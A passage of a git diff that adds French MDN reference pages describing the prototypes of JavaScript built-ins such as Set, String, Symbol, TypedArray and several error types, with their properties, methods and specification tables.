{{Compat("javascript.builtins.RegExp.prototype")}}

+ +

Voir aussi

+ + diff --git a/files/fr/conflicting/web/javascript/reference/global_objects/set/index.html b/files/fr/conflicting/web/javascript/reference/global_objects/set/index.html new file mode 100644 index 0000000000..485be156ee --- /dev/null +++ b/files/fr/conflicting/web/javascript/reference/global_objects/set/index.html @@ -0,0 +1,88 @@ +--- +title: Set.prototype +slug: Web/JavaScript/Reference/Objets_globaux/Set/prototype +tags: + - ECMAScript 2015 + - JavaScript + - Propriété + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Set +translation_of_original: Web/JavaScript/Reference/Global_Objects/Set/prototype +--- +
{{JSRef}}
+ +

La propriété Set.prototype représente le prototype pour le constructeur {{jsxref("Set")}}.

+ +
{{js_property_attributes(0,0,0)}}
+ +

Description

+ +

Les instances de {{jsxref("Set")}} héritent de {{jsxref("Set.prototype")}}. Le prototype peut être utilisé afin d'ajouter des propriétés (valeurs ou méthodes) à toutes les instances de Set.

+ +

Propriétés

+ +
+
Set.prototype.constructor
+
Renvoie la fonction qui crée le prototype d'une instance. Par défaut, ce sera la fonction {{jsxref("Set")}}.
+
{{jsxref("Set.prototype.size")}}
+
Renvoie le nombre de valeurs contenues dans l'objet Set.
+
+ +

Méthodes

+ +
+
{{jsxref("Set.add", "Set.prototype.add(valeur)")}}
+
Ajoute un nouvel élément à l'objet Set avec la valeur donnée. La valeur de retour est l'objet Set.
+
{{jsxref("Set.prototype.clear()")}}
+
Retire tous les éléments de l'objet Set.
+
{{jsxref("Set.delete", "Set.prototype.delete(valeur)")}}
+
Retire l'élément associé à la valeur et renvoie la valeur que Set.prototype.has(valeur) aurait renvoyé. Set.prototype.has(valeur) renverra false après la suppression.
+
{{jsxref("Set.prototype.entries()")}}
+
Renvoie un nouvel objet Iterator qui contient un tableau de [valeur, valeur] pour chaque élément de l'objet Set, dans l'ordre dans lequel les valeurs ont été insérées. On aura donc une structure semblable à un objet Map. Ici, chaque entrée aura la même valeur pour la clé et la valeur.
+
{{jsxref("Set.forEach", "Set.prototype.forEach(fnCallback[, thisArg])")}}
+
Appelle la fonction fnCallback pour chaque valeur présente dans l'objet Set, dans l'ordre dans lequel elles ont été insérées. Si un paramètre thisArg est fourni à forEach, il sera utilisé comme valeur de this pour chaque appel de la fonction de callback.
+
{{jsxref("Set.has", "Set.prototype.has(valeur)")}}
+
Renvoie un booléen qui indique si un des éléments de l'ensemble possède cette valeur.
+
{{jsxref("Set.prototype.values()","Set.prototype.keys()")}}
+
Cette fonction correspond à la fonction values() et renvoie un nouvel objet Iterator qui contient les valeurs correspondant à chaque élément de Set dans l'ordre dans lequel ils ont été insérés.
+
{{jsxref("Set.prototype.values()")}}
+
Renvoie un nouvel objet Iterator qui contient les valeurs pour chacun des éléments de l'objet Set, dans l'ordre dans lequel ils ont été insérés.
+
{{jsxref("Set.prototype.@@iterator()","Set.prototype[@@iterator]()")}}
+
Renvoie un nouvel objet Iterator qui contient les valeurs pour chaque élément de l'objet Set dans leur ordre d'insertion.
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-set.prototype', 'Set.prototype')}}{{Spec2('ES2015')}}Définition initiale
{{SpecName('ESDraft', '#sec-set.prototype', 'Set.prototype')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Set.prototype")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Map.prototype")}}
    • +
diff --git a/files/fr/conflicting/web/javascript/reference/global_objects/sharedarraybuffer/index.html b/files/fr/conflicting/web/javascript/reference/global_objects/sharedarraybuffer/index.html new file mode 100644 index 0000000000..58e0f921fd --- /dev/null +++ b/files/fr/conflicting/web/javascript/reference/global_objects/sharedarraybuffer/index.html @@ -0,0 +1,67 @@ +--- +title: SharedArrayBuffer.prototype +slug: Web/JavaScript/Reference/Objets_globaux/SharedArrayBuffer/prototype +tags: + - JavaScript + - Mémoire partagée + - Propriété + - Reference + - SharedArrayBuffer + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer +translation_of_original: Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer/prototype +--- +
{{JSRef}}
+ +

La propriété SharedArrayBuffer.prototype représente le prototype de l'objet {{jsxref("SharedArrayBuffer")}}.

+ +
{{js_property_attributes(0,0,0)}}
+ +

Description

+ +

Les instances de SharedArrayBuffer héritent de SharedArrayBuffer.prototype. Comme avec les autres constructeurs, il est possible de changer le constructeur de l'objet prototype afin de modifier l'ensemble des instancees de SharedArrayBuffer.

+ +

Propriétés

+ +
+
SharedArrayBuffer.prototype.constructor
+
Cette méthode définit la fonction qui crée le prototype d'un objet. La valeur initiale de cette méthode est le constructeur natif SharedArrayBuffer.
+
{{jsxref("SharedArrayBuffer.prototype.byteLength")}} {{readonlyInline}}
+
La taille, exprimée en octets, du tableau. Elle est définie lorsque le tableau est construit et elle ne peut pas être modifiée par la suite. Propriété en lecture seule.
+
+ +

Méthodes

+ +
+
{{jsxref("SharedArrayBuffer.slice", "SharedArrayBuffer.prototype.slice(début, fin)")}}
+
Cette méthode renvoie un nouvel SharedArrayBuffer dont le contenu est une copie des octets de cet SharedArrayBuffer's entre un indice de début et un indice de fin. Si cet indice de début ou de fin est négatif, cela représentera l'indice à partir de la fin du tableau.
+
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-sharedarraybuffer.prototype', 'SharedArrayBuffer.prototype')}}{{Spec2('ESDraft')}}Définition initiale avec ES2017.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.SharedArrayBuffer.prototype")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("SharedArrayBuffer")}}
    • +
diff --git a/files/fr/conflicting/web/javascript/reference/global_objects/string/index.html b/files/fr/conflicting/web/javascript/reference/global_objects/string/index.html new file mode 100644 index 0000000000..f7fc1c80a6 --- /dev/null +++ b/files/fr/conflicting/web/javascript/reference/global_objects/string/index.html @@ -0,0 +1,190 @@ +--- +title: String.prototype +slug: Web/JavaScript/Reference/Objets_globaux/String/prototype +tags: + - JavaScript + - Propriété + - Prototype + - Reference + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String +translation_of_original: Web/JavaScript/Reference/Global_Objects/String/prototype +--- +
{{JSRef}}
+ +

La propriété String.prototype représente l'objet prototype de {{jsxref("String")}}.

+ +
{{js_property_attributes(0,0,0)}}
+ +

Description

+ +

Toutes les instances de {{jsxref("String")}} héritent de String.prototype. Les modifications de l'objet prototype String sont répercutées sur toutes les instances de String.

+ +

Propriétés

+ +
+
String.prototype.constructor
+
Définit la fonction créant le prototype d'un objet.
+
{{jsxref("String.prototype.length")}}
+
Reflète la longueur de la chaîne
+
N
+
Utilisée pour accéder au caractère en Nème position où N est un entier entre 0 et la valeur de {{jsxref("String.length")}} moins un. Ces propriétés sont en lecture seule.
+
+ +

Méthodes

+ +

Méthodes non liées à HTML

+ +
+
{{jsxref("String.prototype.charAt()")}}
+
Renvoie le caractère (ou plus précisement, le point de code UTF-16) à la position spécifiée.
+
{{jsxref("String.prototype.charCodeAt()")}}
+
Renvoie un nombre indiquant la valeur du point de code UTF-16 du caractère à la position spécifiée.
+
{{jsxref("String.prototype.codePointAt()")}}
+
Renvoie un entier positif qui est la valeur du codet UTF-16 à la position donnée.
+
{{jsxref("String.prototype.concat()")}}
+
Combine le texte de deux chaînes et renvoie une nouvelle chaîne.
+
{{jsxref("String.prototype.includes()")}}
+
Défini si une chaîne de caractères est contenue dans une autre chaîne de caractères.
+
{{jsxref("String.prototype.endsWith()")}}
+
Défini si une chaîne de caractère se termine par une chaîne de caractères spécifique.
+
{{jsxref("String.prototype.indexOf()")}}
+
Renvoie la position, au sein de l'objet String appelant, de la première occurrence de la valeur spécifiée, ou -1 si celle-ci n'est pas trouvée.
+
{{jsxref("String.prototype.lastIndexOf()")}}
+
Renvoie la position, au sein de l'objet String appelant, de la dernière occurrence de la valeur spécifiée, ou -1 si celle-ci n'est pas trouvée.
+
{{jsxref("String.prototype.localeCompare()")}}
+
Renvoie un nombre indiquant si une chaîne de référence vient avant, après ou est en position identique à la chaîne donnée selon un ordre de tri.
+
{{jsxref("String.prototype.match()")}}
+
Utilisée pour faire correspondre une expression rationnelle avec une chaîne.
+
{{jsxref("String.prototype.matchAll()")}}
+
Renvoie un itérateur listant l'ensemble des correspondances d'une expression rationnelle avec la chaîne.
+
{{jsxref("String.prototype.normalize()")}}
+
Retourne la forme Unicode normalisée de la chaîne de caractères appelée.
+
{{jsxref("String.prototype.padEnd()")}}
+
Complète la chaîne courante avec une autre chaîne de caractères, éventuellement répétée, afin d'obtenir une nouvelle chaîne de la longueur indiquée. La chaîne complémentaire est ajoutée à la fin.
+
{{jsxref("String.prototype.padStart()")}}
+
Complète la chaîne courante avec une autre chaîne de caractères, éventuellement répétée, afin d'obtenir une nouvelle chaîne de la longueur indiquée. La chaîne complémentaire est ajoutée au début.
+
+ +
+
{{jsxref("String.prototype.quote()")}} {{obsolete_inline}}
+
Entoure la chaîne de guillemets doubles anglais (""").
+
{{jsxref("String.prototype.repeat()")}}
+
Renvoie une chaîne dont le contenu est la chaîne courante répétée un certain nombre de fois.
+
{{jsxref("String.prototype.replace()")}}
+
Utilisée pour rechercher une correspondance entre une expression rationnelle et une chaîne, et pour remplacer la sous-chaîne correspondante par une nouvelle chaîne.
+
{{jsxref("String.prototype.search()")}}
+
Exécute la recherche d'une correspondance entre une expression régulière et une chaîne spécifiée.
+
{{jsxref("String.prototype.slice()")}}
+
Extrait une section d'une chaîne et renvoie une nouvelle chaîne.
+
{{jsxref("String.prototype.split()")}}
+
Sépare un objet String en un tableau de chaînes en séparant la chaîne en plusieurs sous-chaînes.
+
{{jsxref("String.prototype.startsWith()")}}
+
Détermine si une chaîne commence avec les caractères d'une autre chaîne.
+
{{jsxref("String.prototype.substr()")}} {{deprecated_inline}}
+
Renvoie les caractères d'une chaîne à partir de la position spécifiée et pour la longueur spécifiée.
+
{{jsxref("String.prototype.substring()")}}
+
Renvoie les caractères d'une chaîne entre deux positions dans celle-ci.
+
{{jsxref("String.prototype.toLocaleLowerCase()")}}
+
Les caractères de la chaîne seront convertis en minuscules selon la locale courante. Pour la plupart des langues, le résultat est identique à {{jsxref("String.prototype.toLowerCase()", "toLowerCase()")}}.
+
{{jsxref("String.prototype.toLocaleUpperCase()")}}
+
Les caractères de la chaîne seront convertis en majuscules selon la locale courante. Pour la plupart des langues, le résultat est identique à {{jsxref("String.toUpperCase()", "toUpperCase()")}}.
+
{{jsxref("String.prototype.toLowerCase()")}}
+
Renvoie la valeur de la chaîne appelante convertie en minuscules.
+
{{jsxref("String.prototype.toSource()")}} {{ Non-standard_inline() }}
+
Renvoie une représentation littérale de l'objet; celle-ci peut être utilisée pour créer un nouvel objet. Remplace la méthode {{jsxref("Object.prototype.toSource()")}}.
+
{{jsxref("String.prototype.toString()")}}
+
Renvoie une chaîne représentant l'objet spécifié. Remplace la méthode {{jsxref("Object.prototype.toString()")}}.
+
{{jsxref("String.prototype.toUpperCase()")}}
+
Renvoie la valeur de la chaîne appelante convertie en majuscules.
+
{{jsxref("String.prototype.trim()")}}
+
Retire les blancs en début et en fin de chaîne. Cette méthode a été définie avec ECMAScript 5.
+
{{jsxref("String.prototype.trimStart()")}}
+ {{jsxref("String.prototype.trimLeft()")}}
+
Retire les blancs situés au début de la chaîne.
+
{{jsxref("String.prototype.trimEnd()")}}
+ {{jsxref("String.prototype.trimRight()")}}
+
Retire les blancs situés à la fin de la chaîne.
+
{{jsxref("String.prototype.valueOf()")}}
+
Renvoie la valeur primitive de l'objet spécifié. Remplace la méthode {{jsxref("Object.prototype.valueOf()")}}.
+
{{jsxref("String.prototype.@@iterator()","String.prototype[@@iterator]()")}}
+
Renvoie un nouvel objet Iterator qui permet d'itérer sur les codets de la chaîne, chaque codet étant renvoyé comme une chaîne.
+
+ +

Méthodes de transformation HTML

+ +

Ces méthodes ont une utilisation limitée, étant donné qu'elles ne fournissent qu'un petit sous-ensemble des balises et attributs HTML existants.

+ +
+
{{jsxref("String.prototype.anchor()")}} {{deprecated_inline}}
+
{{htmlattrxref("name", "a", "<a name=\"name\">")}} (cible hypertexte)
+
{{jsxref("String.prototype.big()")}} {{deprecated_inline}}
+
{{HTMLElement("big")}}
+
{{jsxref("String.prototype.blink()")}} {{deprecated_inline}}
+
{{HTMLElement("blink")}}
+
{{jsxref("String.prototype.bold()")}} {{deprecated_inline}}
+
{{HTMLElement("b")}}
+
{{jsxref("String.prototype.fixed()")}} {{deprecated_inline}}
+
{{HTMLElement("tt")}}
+
{{jsxref("String.prototype.fontcolor()")}} {{deprecated_inline}}
+
{{htmlattrxref("color", "font", "<font color=\"color\">")}}
+
{{jsxref("String.prototype.fontsize()")}} {{deprecated_inline}}
+
{{htmlattrxref("size", "font", "<font size=\"size\">")}}
+
{{jsxref("String.prototype.italics()")}} {{deprecated_inline}}
+
{{HTMLElement("i")}}
+
{{jsxref("String.prototype.link()")}} {{deprecated_inline}}
+
{{htmlattrxref("href", "a", "<a href=\"url\">")}} (lien vers une URL)
+
{{jsxref("String.prototype.small()")}} {{deprecated_inline}}
+
{{HTMLElement("small")}}
+
{{jsxref("String.prototype.strike()")}} {{deprecated_inline}}
+
{{HTMLElement("strike")}}
+
{{jsxref("String.prototype.sub()")}} {{deprecated_inline}}
+
{{HTMLElement("sub")}}
+
{{jsxref("String.prototype.sup()")}} {{deprecated_inline}}
+
{{HTMLElement("sup")}}
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.5.3.1', 'String.prototype')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-string.prototype', 'String.prototype')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-string.prototype', 'String.prototype')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String.prototype")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("String")}}
    • +
  • {{jsxref("Function.prototype")}}
    • +
diff --git a/files/fr/conflicting/web/javascript/reference/global_objects/symbol/index.html b/files/fr/conflicting/web/javascript/reference/global_objects/symbol/index.html new file mode 100644 index 0000000000..9f3c6f0703 --- /dev/null +++ b/files/fr/conflicting/web/javascript/reference/global_objects/symbol/index.html @@ -0,0 +1,75 @@ +--- +title: Symbol.prototype +slug: Web/JavaScript/Reference/Objets_globaux/Symbol/prototype +tags: + - ECMAScript6 + - JavaScript + - Propriété + - Reference + - Symbol +translation_of: Web/JavaScript/Reference/Global_Objects/Symbol +translation_of_original: Web/JavaScript/Reference/Global_Objects/Symbol/prototype +--- +
{{JSRef}}
+ +

La propriété Symbol.prototype représente le prototype du constructeur {{jsxref("Symbol")}}.

+ +
{{EmbedInteractiveExample("pages/js/symbol-prototype.html")}}
+ + + +

Description

+ +

Les instances de {{jsxref("Symbol")}} héritent toutes de {{jsxref("Symbol.prototype")}}. Ce prototype du constructeur peut être utilisé afin d'ajouter des propriétés et/ou des méthodes pour chaque instance de Symbol via la chaîne de prototypes.

+ +

{{js_property_attributes(0,0,0)}}

+ +

Propriétés

+ +
+
Symbol.prototype.constructor
+
Cette propriété correspond à la fonction qui a crée l'instance du prototype. Par défaut, c'est la fonction {{jsxref("Symbol")}} qui est renvoyée.
+
{{jsxref("Symbol.prototype.description")}}
+
Une chaîne de caractères en lecture seule qui contient la description du symbole.
+
+ +

Méthodes

+ +
+
{{jsxref("Symbol.prototype.toSource()")}} {{Non-standard_inline}}
+
Cette méthode renvoie une chaîne de caractères contenant la source de l'objet {{jsxref("Objets_globaux/Symbol", "Symbol")}}. Cette méthode surcharge la méthode {{jsxref("Object.prototype.toSource()")}}.
+
{{jsxref("Symbol.prototype.toString()")}}
+
Cette méthode renvoie une chaîne de caractères contenant la description du symbole. Cette méthode surcharge la méthode {{jsxref("Object.prototype.toString()")}}.
+
{{jsxref("Symbol.prototype.valueOf()")}}
+
Cette méthode renvoie la valeur primitive de l'objet {{jsxref("Symbol")}}. Cette méthode surcharge la méthode {{jsxref("Object.prototype.valueOf()")}}.
+
{{jsxref("Symbol.prototype.@@toPrimitive()", "Symbol.prototype[@@toPrimitive]")}}
+
Renvoie la valeur primitive de l'objet {{jsxref("Symbol")}}.
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-symbol.prototype', 'Symbol.prototype')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-symbol.prototype', 'Symbol.prototype')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Symbol.prototype")}}

diff --git a/files/fr/conflicting/web/javascript/reference/global_objects/syntaxerror/index.html b/files/fr/conflicting/web/javascript/reference/global_objects/syntaxerror/index.html new file mode 100644 index 0000000000..7407f68670 --- /dev/null +++ b/files/fr/conflicting/web/javascript/reference/global_objects/syntaxerror/index.html @@ -0,0 +1,90 @@ +--- +title: SyntaxError.prototype +slug: Web/JavaScript/Reference/Objets_globaux/SyntaxError/prototype +tags: + - Error + - JavaScript + - Propriété + - Prototype + - Reference + - SyntaxError +translation_of: Web/JavaScript/Reference/Global_Objects/SyntaxError +translation_of_original: Web/JavaScript/Reference/Global_Objects/SyntaxError/prototype +--- +
{{JSRef}}
+ +

La propriété SyntaxError.prototype représente le prototype du constructeur {{jsxref("SyntaxError")}}.

+ +

Description

+ +

Toutes les instances de {{jsxref("SyntaxError")}} héritent de SyntaxError.prototype. Le prototype peut être utilisé afin d'ajouter des propriétés ou des méthodes à toutes les instances.

+ +

Propriétés

+ +
+
SyntaxError.prototype.constructor
+
Définit la fonction qui a créé le prototype d'une instance.
+
{{jsxref("Error.prototype.message", "SyntaxError.prototype.message")}}
+
Un message d'erreur. Bien que ECMA-262 définisse que {{jsxref("SyntaxError")}} doit avoir une propriété message en propre, dans SpiderMonkey, elle est héritée depuis {{jsxref("Error.prototype.message")}}.
+
{{jsxref("Error.prototype.name", "SyntaxError.prototype.name")}}
+
Un nom d'erreur. Propriété héritée depuis {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.fileName", "SyntaxError.prototype.fileName")}}
+
Le chemin du fichier qui a causé l'erreur. Propriété héritée depuis {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.lineNumber", "SyntaxError.prototype.lineNumber")}}
+
Le numéro de la ligne du fichier qui a causé l'erreur. Propriété héritée depuis {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.columnNumber", "SyntaxError.prototype.columnNumber")}}
+
Le numéro de la colonne dans la ligne qui a causé l'erreur. Propriété héritée depuis {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.stack", "SyntaxError.prototype.stack")}}
+
La pile d'appels (stack trace). Propriété héritée depuis {{jsxref("Error")}}.
+
+ +

Méthodes

+ +

Bien que le prototype de {{jsxref("SyntaxError")}} ne possède pas de méthodes directes, les instances de {{jsxref("SyntaxError")}} héritent de certaines méthodes via la chaîne de prototypes.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.11.7.6', 'NativeError.prototype')}}{{Spec2('ES5.1')}}Définie comme NativeError.prototype.
{{SpecName('ES6', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ES6')}}Définie comme NativeError.prototype.
{{SpecName('ESDraft', '#sec-nativeerror.prototype', 'NativeError.prototype')}}{{Spec2('ESDraft')}}Définie comme NativeError.prototype.
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.SyntaxError")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Error.prototype")}}
    • +
  • {{jsxref("Function.prototype")}}
    • +
diff --git a/files/fr/conflicting/web/javascript/reference/global_objects/typedarray/index.html b/files/fr/conflicting/web/javascript/reference/global_objects/typedarray/index.html new file mode 100644 index 0000000000..85c7f14222 --- /dev/null +++ b/files/fr/conflicting/web/javascript/reference/global_objects/typedarray/index.html @@ -0,0 +1,132 @@ +--- +title: TypedArray.prototype +slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/prototype +tags: + - JavaScript + - Propriété + - Prototype + - Reference + - TypedArray +translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray +translation_of_original: Web/JavaScript/Reference/Global_Objects/TypedArray/prototype +--- +
{{JSRef}}
+ +

La propriété TypedArray.prototype représente le prototype des constructeurs {{jsxref("TypedArray")}}.

+ +
{{js_property_attributes(0,0,0)}}
+ +

Description

+ +

Les instances de {{jsxref("TypedArray")}} héritent de {{jsxref("TypedArray.prototype")}}. Le prototype du constructeur peut être utilisé pour ajouter des propriétés et/ou des méthodes à toutes les instances de TypedArray (où TypedArray correspond à un des types de tableaux typés).

+ +

Pour plus de détails sur le fonctionnement de l'héritage, voir la page sur TypedArray.

+ +

Propriétés

+ +
+
TypedArray.prototype.constructor
+
Cette propriété renvoie la fonction qui a créé le prototype de l'instance. Elle correspondra à l'une des fonctions par défaut pour le type du tableau typé utilisé.
+
{{jsxref("TypedArray.prototype.buffer")}} {{readonlyInline}}
+
Cette propriété renvoie l'{{jsxref("ArrayBuffer")}} qui est référencé par le tableau typé. Cette propriété est définie lors de la construction et est donc accessible en lecture seule uniquement.
+
{{jsxref("TypedArray.prototype.byteLength")}} {{readonlyInline}}
+
Cette propriété renvoie la longueur (exprimée en octets) du tableau typé, à partir du début de l'{{jsxref("ArrayBuffer")}}. Cette propriété est définie lors de la construction et est donc accessible en lecture seule uniquement.
+
{{jsxref("TypedArray.prototype.byteOffset")}} {{readonlyInline}}
+
Cette propriété renvoie le décalage utilisé (exprimé en octets) entre le début du tableau typé et le début du {{jsxref("ArrayBuffer")}}. Cette propriété est définie lors de la construction et est donc accessible en lecture seule uniquement.
+
{{jsxref("TypedArray.prototype.length")}} {{readonlyInline}}
+
Cette propriété renvoie le nombre d'éléments contenus dans le tableau typé. Cette propriété est définie lors de la construction et est donc accessible en lecture seule uniquement.
+
+ +

Méthodes

+ +
+
{{jsxref("TypedArray.prototype.copyWithin()")}}
+
Copie une suite d'éléments au sein du tableau typé. Voir aussi {{jsxref("Array.prototype.copyWithin()")}}.
+
{{jsxref("TypedArray.prototype.entries()")}}
+
Renvoie un nouvel objet Array Iterator qui contient les clés/valeurs pour chaque indice du tableau. Voir aussi {{jsxref("Array.prototype.entries()")}}.
+
{{jsxref("TypedArray.prototype.every()")}}
+
Teste si tous les éléments du tableau typé respectent une condition donnée sous la forme d'une fonction. Voir aussi {{jsxref("Array.prototype.every()")}}.
+
{{jsxref("TypedArray.prototype.fill()")}}
+
Affecte une même valeur statique aux éléments du tableau typé entre un indice de début et un indice de fin. Voir aussi {{jsxref("Array.prototype.fill()")}}.
+
{{jsxref("TypedArray.prototype.filter()")}}
+
Crée un nouveau tableau typé dont les éléments proviennent d'un tableau typé qu'on a filtré avec une fonction. Voir aussi {{jsxref("Array.prototype.filter()")}}.
+
{{jsxref("TypedArray.prototype.find()")}}
+
Renvoie la valeur trouvée dans le tableau typé si un élément du tableau typé respecte une condition définie par une fonction. Si aucun élément n'est trouvé, {{jsxref("undefined")}} sera renvoyé. Voir aussi {{jsxref("Array.prototype.find()")}}.
+
{{jsxref("TypedArray.prototype.findIndex()")}}
+
Renvoie l'indice de l'élément trouvé si un élément du tableau typé respecte une condition définie par une fonction. Si aucun élément n'est trouvé, -1 sera renvoyé. Voir aussi {{jsxref("Array.prototype.findIndex()")}}.
+
{{jsxref("TypedArray.prototype.forEach()")}}
+
Appelle une fonction pour chaque élément du tableau typé. Voir aussi {{jsxref("Array.prototype.forEach()")}}.
+
{{jsxref("TypedArray.prototype.includes()")}}
+
Détermine si un élément est contenu dans un tableau typé et renvoie true ou false selon le cas de figure. Voir aussi {{jsxref("Array.prototype.includes()")}}.
+
{{jsxref("TypedArray.prototype.indexOf()")}}
+
Renvoie le premier indice (le plus petit) d'un élément du tableau typé qui a la valeur fournie en argument. Si aucun élément n'est trouvé, la valeur -1 sera renvoyée. Voir aussi {{jsxref("Array.prototype.indexOf()")}}.
+
{{jsxref("TypedArray.prototype.join()")}}
+
Fusionne l'ensemble des éléments du tableau typé en une chaîne de caractères. Voir aussi {{jsxref("Array.prototype.join()")}}.
+
{{jsxref("TypedArray.prototype.keys()")}}
+
Renvoie un nouvel objet Array Iterator qui contient les clés pour chaque élément du tableau. Voir aussi {{jsxref("Array.prototype.keys()")}}.
+
{{jsxref("TypedArray.prototype.lastIndexOf()")}}
+
Renvoie le dernier indice (le plus grand) d'un élément du tableau typé qui a la valeur fournie en argument. Si aucun élément n'est trouvé, -1 sera renvoyé. Voir aussi {{jsxref("Array.prototype.lastIndexOf()")}}.
+
{{jsxref("TypedArray.prototype.map()")}}
+
Crée un nouveau tableau typé dont les éléments sont les images des éléments du tableau typé courant par une fonction donnée. Voir aussi  {{jsxref("Array.prototype.map()")}}.
+
{{jsxref("TypedArray.prototype.move()")}} {{non-standard_inline}} {{unimplemented_inline}}
+
Ancienne version, non-standard, de {{jsxref("TypedArray.prototype.copyWithin()")}}.
+
{{jsxref("TypedArray.prototype.reduce()")}}
+
Applique une fonction par rapport à un accumulateur pour chaque valeur du tableau (de gauche à droite) afin de réduire le tableau typé à une seule valeur. Voir aussi {{jsxref("Array.prototype.reduce()")}}.
+
{{jsxref("TypedArray.prototype.reduceRight()")}}
+
Applique une fonction par rapport à un accumulateur pour chaque valeur du tableau (de droite à gauche) afin de réduire le tableau typé à une seule valeur. Voir aussi {{jsxref("Array.prototype.reduceRight()")}}.
+
{{jsxref("TypedArray.prototype.reverse()")}}
+
Inverse l'ordre des éléments du tableau typé (le premier devient le dernier, le dernier devient le premier et ainsi de suite). Voir aussi {{jsxref("Array.prototype.reverse()")}}.
+
{{jsxref("TypedArray.prototype.set()")}}
+
Cette méthode permet d'enregistrer plusieurs valeurs dans le tableau typé à partir d'un tableau donné.
+
{{jsxref("TypedArray.prototype.slice()")}}
+
Extrait un fragment du tableau typé et renvoie ce fragment sous forme d'un tableau typé. Voir aussi {{jsxref("Array.prototype.slice()")}}.
+
{{jsxref("TypedArray.prototype.some()")}}
+
Renvoie true si au moins un élément du tableau typé respecte une condition définie par une fonction passée en argument. Voir aussi {{jsxref("Array.prototype.some()")}}.
+
{{jsxref("TypedArray.prototype.sort()")}}
+
Trie les éléments du tableau typé sur place et renvoie le tableau typé. Voir aussi {{jsxref("Array.prototype.sort()")}}.
+
{{jsxref("TypedArray.prototype.subarray()")}}
+
Cette méthode renvoie un nouvel objet TypedArray en fonction d'un indice de début et de fin.
+
{{jsxref("TypedArray.prototype.values()")}}
+
Renvoie un nouvel objet Array Iterator qui contient les valeurs pour chaque indice du tableau typé. Voir aussi {{jsxref("Array.prototype.values()")}}.
+
{{jsxref("TypedArray.prototype.toLocaleString()")}}
+
Renvoie une chaîne de caractères localisée qui représente le tableau typé et ses éléments. Voir aussi {{jsxref("Array.prototype.toLocaleString()")}}.
+
{{jsxref("TypedArray.prototype.toString()")}}
+
Renvoie une chaîne de caractères représentant le tableau typé et ses éléments. Voir aussi {{jsxref("Array.prototype.toString()")}}.
+
{{jsxref("TypedArray.prototype.@@iterator()", "TypedArray.prototype[@@iterator]()")}}
+
Renvoie un nouvel objet Array Iterator contenant les valeurs pour chaque indice du tableau typé.
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES6', '#sec-properties-of-the-%typedarrayprototype%-object', 'TypedArray prototype')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-properties-of-the-%typedarrayprototype%-object', 'TypedArray prototype')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.TypedArray.prototype")}}

+ +

Voir aussi

+ + diff --git a/files/fr/conflicting/web/javascript/reference/global_objects/typeerror/index.html b/files/fr/conflicting/web/javascript/reference/global_objects/typeerror/index.html new file mode 100644 index 0000000000..041451e11c --- /dev/null +++ b/files/fr/conflicting/web/javascript/reference/global_objects/typeerror/index.html @@ -0,0 +1,90 @@ +--- +title: TypeError.prototype +slug: Web/JavaScript/Reference/Objets_globaux/TypeError/prototype +tags: + - Error + - JavaScript + - Propriété + - Prototype + - Reference + - TypeError +translation_of: Web/JavaScript/Reference/Global_Objects/TypeError +translation_of_original: Web/JavaScript/Reference/Global_Objects/TypeError/prototype +--- +
{{JSRef}}
+ +

La propriété TypeError.prototype représente le prototype du constructeur {{jsxref("TypeError")}}.

+ +

Description

+ +

Toutes les instances de {{jsxref("TypeError")}} héritent de TypeError.prototype. Le prototype peut être utilisé afin d'ajouter des propriétés ou des méthodes à l'ensemble des instances.

+ +

Propriétés

+ +
+
TypeError.prototype.constructor
+
Définit la fonction qui crée le prototype d'une instance.
+
{{jsxref("Error.prototype.message", "TypeError.prototype.message")}}
+
Un message d'erreur. Bien que la spécification ECMA-262 définisse que {{jsxref("TypeError")}} doive fournir une propriété directe pour message, SpiderMonkey la fait hériter de {{jsxref("Error.prototype.message")}}.
+
{{jsxref("Error.prototype.name", "TypeError.prototype.name")}}
+
Nom pour l'erreur, hérité depuis {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.fileName", "TypeError.prototype.fileName")}}
+
Le chemin vers le fichier qui a causé l'erreur. Hérité depuis {{jsxref("Error")}}.
+
